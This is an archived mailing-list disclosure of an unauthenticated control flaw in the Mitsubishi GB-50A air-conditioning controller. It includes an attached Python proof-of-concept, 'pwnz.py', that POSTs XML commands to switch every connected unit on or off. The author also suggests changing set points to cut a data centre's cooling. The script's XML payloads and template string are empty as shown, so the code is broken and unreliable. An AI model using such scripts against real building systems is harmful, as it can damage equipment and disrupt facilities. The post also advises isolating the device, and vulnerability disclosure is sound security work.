TUCoPS :: Network Appliances :: bx2509.htm

hacking the mitsubishi GB-50A
hacking the mitsubishi GB-50A
hacking the mitsubishi GB-50A



This is a multi-part message in MIME format.
--------------050205090806000102050406
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Hi All,

Well, it's been over 4 months since my plea for a security contact at 
Mitsubishi Electric to come forward. Since no one has, I thought I'd 
release a POC for hacking one.

It's not exactly hard, the web controller uses a nasty set of Java 
applets to interact with itself. The shocking thing is that these 
communicate using a series of xml packets and absolutely zero 
authentication or encryption :-(

Oh, and just in case you thought about maybe putting something secure 
like an ssl webserver proxying the thing, these java applets are hard 
coded to connect back to port 80 on the originating host using HTTP :-(

Still, you should get an idea of how the box is *supposed* to be used by 
the fact that its ip address is set with dip switches where the 
192.168.1 bit is hard coded!

*sigh*

Well, please find attached a little python script that will let you turn 
on or off every aircon unit attached to a GB-50 that you know the ip 
address of. Minor modifications will let you change the set point and 
mode too, so you might be able to turn off a data centres aircon *or* 
turn an office's aircon up to 28'C and then turn it all on ;-)

The plus side is that because it's so rediculously insecure, it's not 
that hard to build a secure web app that can interact with it and then 
just firewall it off from anywhere harmful...

If you have a GB-50 or a GB-50A, please make very sure you keep it on 
its own private network until Mitsubishi Electric find a clue stick to 
hit themselves with!

cheers,

Chris

-- 
Simplistix - Content Management, Zope & Python Consulting
- http://www.simplistix.co.uk 

--------------050205090806000102050406
Content-Type: text/plain;
 name="pwnz.py"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="pwnz.py"

"""
usage: python pwnz.py 192.168.1.x [on|off]
"""

# you can get BeautifulSoup from:
# http://www.crummy.com/software/BeautifulSoup/#Download 
from BeautifulSoup import BeautifulSoup
from httplib import HTTPConnection
import sys

ip = sys.argv[1]
template = '' % sys.argv[2].upper()

def post(data):
    c = HTTPConnection(ip)
    c.request('POST','/servlet/MIMEReceiveServlet',data,{'content-type':'text/xml'})
    return BeautifulSoup(c.getresponse().read())
    
# first out what groups there are
soup = post("""


 getRequest
 
  
   
  
 

""")
group_nums = [(g['group']) for g in soup.findAll('mnetrecord')]
# now go through and set all the on/off bits to what we were told
soup = post("""


 setRequest
 
%s
 

""" % ('\n'.join([template%g for g in group_nums])))

--------------050205090806000102050406--

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH